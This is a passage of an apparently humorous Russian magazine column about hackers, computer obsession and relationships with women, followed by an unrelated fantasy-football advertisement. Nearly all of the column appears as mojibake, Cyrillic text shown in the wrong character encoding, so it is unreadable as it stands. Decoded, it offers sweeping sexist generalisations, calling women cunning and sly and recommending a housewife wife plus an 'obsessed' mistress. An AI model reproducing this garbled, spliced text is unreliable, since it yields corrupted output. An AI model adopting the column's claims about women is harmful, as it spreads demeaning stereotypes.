ïðîñíóâøèñü, ìîæíî ñðàçó æå ïðî-
äîëæèòü õàêåðñòâîâàòü!) — ñ ïîÿâ-
ëåíèåì äåâóøêè îò âñåãî ýòîãî
ïðèõîäèòñÿ îòêàçûâàòüñÿ.

Êàêòóñ, âòûêàþùèé â êîìïü-
þòåð ïî 18-20 ÷àñîâ íàïðîëåò, íè-
êîìó íå íóæåí! Äåâóøêè òðåáóþò ê
ñåáå âíèìàíèÿ, ÷àñòî óñòðàèâàÿ
èñòåðèêè â ñàìûé íåïîäõîäÿùèé
ìîìåíò, êîãäà òû äîëæåí áûòü íàè-
áîëåå ñîáðàí, ñêîíöåíòðèðîâàí è
ñîñðåäîòî÷åí íà âàæíîé òåõíè÷åñ-
êîé ïðîáëåìå, îò êîòîðîé çàâèñèò
òâîÿ êàðüåðà, à, âîçìîæíî, è âñÿ
ïîñëåäóþùàÿ æèçíü. Ïîïûòêè ÷òî-
ëèáî îáúÿñíèòü ëèøü ðàçæèãàþò
ñêàíäàë. Òû ìåíÿ íå ëþáèøü, ÿ òå-
áå íå íóæíà è ò. ä.

Ðåâíîñòü ê êîìïüþòåðó —
î÷åíü ðàñïðîñòðàíåííàÿ øòóêà.
Òâîÿ êðîøêà ìîæåò çàêèäûâàòü òå-
áÿ SMS'ìè, ïîäõîäèòü ê òåáå êàæ-
äûå ïÿòü ìèíóò òîëüêî äëÿ òîãî,

÷òîáû ïîöåëîâàòü è áóäåò ñòðàøíî
îáèæàòüñÿ, åñëè òû ñìîòðèøü íå â
åå ãëàçà, à íà ìîíèòîð è ðóêè äåð-
æèøü íå íà ãðóäÿõ, à íà êëàâèàòó-
ðå. Íàâðÿä ëè îíà ïîéìåò òâîþ
îäåðæèìîñòü è, ñêîðåå âñåãî,
ïðåäëîæèò ñìåíèòü ðàáîòó íà áî-
ëåå öèâèëüíóþ, òî åñòü îò çâîíêà
äî çâîíêà è áåç âñÿêîãî òâîð÷åñò-
âà. Õóæå âñåãî, åñëè ïðè ýòîì îíà
ñàìà íå çàõî÷åò ðàáîòàòü, íî áóäåò
òðåáîâàòü äåíåã, îäíîâðåìåííî ñ
âíèìàíèåì. Âåñòè íåêîììåð÷åñ-
êèå ïðîåêòû è îñòàâàòüñÿ âåðíûì
èäåå Open Source â òàêèõ óñëîâèÿõ
ïðîñòî íåðåàëüíî. Ðèôû ñåìåéíîé
æèçíè ïîãóáèëè ñòîëüêî õàêåðîâ,
÷òî îáðàçîâàëè öåëîå êëàäáèùå.

óðîêè ââûæèâàíèÿ. Æåíùèíû
êîâàðíû è õèòðû, îíè èãðàþò íà
íàøèõ èíñòèíêòàõ è ïðèðîäíûõ
ïîòðåáíîñòÿõ. Íåñìîòðÿ íà òî, ÷òî
æåíñêîãî íàñåëåíèÿ ó íàñ áîëüøå,
÷åì ìóæñêîãî (îñîáåííî åñëè âû-
÷åðêíóòü èç ìóæñêîé ñîñòàâëÿþ-
ùåé âñåõ òóíåÿäöåâ, àëêîãîëèêîâ
è íàðêîìàíîâ), èìåííî ìóæ÷èíû
îêó÷èâàþò æåíùèí, à íå íàîáîðîò.
Êàê áóäòî æåíùèíàì íå õî÷åòñÿ!
Õî÷åòñÿ åùå êàê! Àíåêäîò «ëó÷øå
ïÿòü ìèíóò ïîäîæäàòü, ÷åì ïîë÷à-
ñà óãîâàðèâàòü» äåéñòâóåò òîëüêî
òàê! Íå õî÷åøü óõàæèâàòü çà æåí-
ùèíàìè? Õî÷åøü, ÷òîáû îíè ñàìè
óõàæèâàëè çà òîáîé?! Íó òàê è íå
óõàæèâàé! Æåíùèíû ê òåáå è ïîòÿ-
íóòüñÿ, òîëüêî äàé èì øàíñ. Äëÿ
ýòîãî äàæå íåîáÿçàòåëüíî âûõî-
äèòü íà óëèöó. Çíàêîìèòüñÿ ìîæíî
è ÷åðåç Ñåòü. Ãëàâíîå — ïîìåíü-
øå ãîâîðèòü î ëþáâè è íè÷åãî íå
îáåùàòü.

À î ÷åì ìîæíî ãîâîðèòü ñ
æåíùèíîé, äà åùå ñ íåçíàêîìîé?!
Î òîì, ÷òî òåáÿ èíòåðåñóåò. Åñëè
ýòî áóäåò èíòåðåñîâàòü è åå, äèà-
ëîã çàâåäåòñÿ ñàì ñîáîé, íó à íåò,
òàê íåò. Çíà÷èò, âû — íå ïàðà. Åñ-
ëè ó âàñ ðàçíûå èíòåðåñû è íåò íè-
êàêèõ òî÷åê ñîïðèêîñíîâåíèÿ, ïû-
òàòüñÿ ïîäîáðàòü òåìó äëÿ ðàçãî-
âîðà — áåññìûñëåííî. Äàæå åñëè
âíà÷àëå âñå áóäåò ÎÊ, ÷åðåç íåêî-

òîðîå âðåìÿ íà÷íóòñÿ ïðîáëåìû
âçàèìîïîíèìàíèÿ.

Íå áðîñàéñÿ â ïåðâûå æå ïî-
ïàâøèåñÿ îáúÿòèÿ, ãîòîâûå òåáÿ
ïðèíÿòü. Èùè äåâóøêó, êîòîðàÿ
âîñïðèíèìàåò òåáÿ òàêèì, êàêîé
òû åñòü, êîòîðàÿ äûøèò òåì æå ñà-
ìûì, ÷åì è òû, âåäåò òàêîé æå îá-
ðàç æèçíè è òîæå ÷åì-òî îäåðæè-
ìà. Íåîáÿçàòåëüíî êîìïüþòåðîì.
Ýòî ìîæåò áûòü ìóçûêà èëè äàæå
âûøèâàíèå êðåñòèêîì — ãëàâíîå,
÷òîáû îíà òåáÿ ïîíèìàëà è ïîä-
äåðæèâàëà â òðóäíóþ ìèíóòó, âîç-
áóæäàëà òâîð÷åñêèé ïîðûâ, à íå
ãàñèëà åãî êàê áû÷îê â ïèññóàðå.

À äëÿ ýòîãî íèêîãäà íå äåëàé
òîãî, ÷òî òåáå íå íðàâèòñÿ. Åñëè
òâîÿ îáû÷íàÿ ôîðìà — íåáðèòàÿ
ùåòèíà, çàëèòàÿ ïèâîì ìàéêà è
øòàíû, òðåñíóâøèå àêêóðàò íà
çàäíèöå — âîò òàêèì è ïðèõîäè íà
ñâèäàíèå. Íó è ïóñòü 99% äåâóøåê
îò òåáÿ óáåãóò â ñîäðîãàíèè, çàòî ó
òåáÿ ïîÿâèòñÿ øàíñ íàéòè òó åäèí-
ñòâåííóþ, êîòîðàÿ òåáÿ áóäåò ëþ-
áèòü êàê ñî øòàíàìè, òàê è áåç íèõ.
È òû åå îáÿçàòåëüíî íàéäåøü, åñ-
ëè òîëüêî áóäåøü èñêàòü! ß òåáå
òî÷íî ãîâîðþ!

Ïðàâäà çäåñü ìû ñòàëêèâàåì-
ñÿ ñ ïðîáëåìîé ñîâåðøåííî èíîãî
ðîäà. Îäåðæèìûå äåâóøêè îíè...
êàê áû ýòî ïîìÿã÷å ñêàçàòü... îíè
íå äåâóøêè. Îíè — îäåðæèìûå.
Òàêèå æå, êàê òû ñàì. À ýòî çíà÷èò,
÷òî çàáîòà î ìóæå  (è äåòÿõ, åñëè
îíè áóäóò) ó íèõ îòõîäèò íà çàäíèé
ïëàí, è òåáå ïðèäåòñÿ ïèòàòüñÿ ïî-
ëóôàáðèêàòàìè äî êîíöà æèçíè.

Æåíùèíà, ñ êîòîðîé èíòåðåñ-
íî ïîãîâîðèòü, êàê ïðàâèëî, ñîâåð-
øåííî áåçäàðíà â áûòîâîì ïëàíå.
È, íàîáîðîò, ñ õîðîøåé äîìîõîçÿé-
êîé ëåãêî æèòü (íàêîðìèò áåç îò-
ðûâà îò ïðîèçâîäñòâà è áóäåò ïðå-
äàíî ñìîòðåòü íåìèãàþùèìè ãëà-
çàìè), íî... ñ íåé ñîâåðøåííî íå î
÷åì ðàçãîâàðèâàòü. Åäèíñòâåííûé
âûõîä: æåíà-äîìîõîçÿéêà è îäåð-
æèìàÿ ëþáîâíèöà. Íî, êàê èçâåñò-
íî, ëþáîâíûé òðåóãîëüíèê — ñà-
ìàÿ íåóñòîé÷èâàÿ ôèãóðà.
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ГЕНЕРАЛЬНЫЙ 
СПОНСОР

ÒÛ ÏÎËÓЧÀÅØÜ $135 ÌÈËËÈÎÍÎÂ 
на приобретение игроков российской премьер-лиги ïри 
регистрации на сайте www.total-football.ru. 

Подробности на сайте www.total-football.ru 
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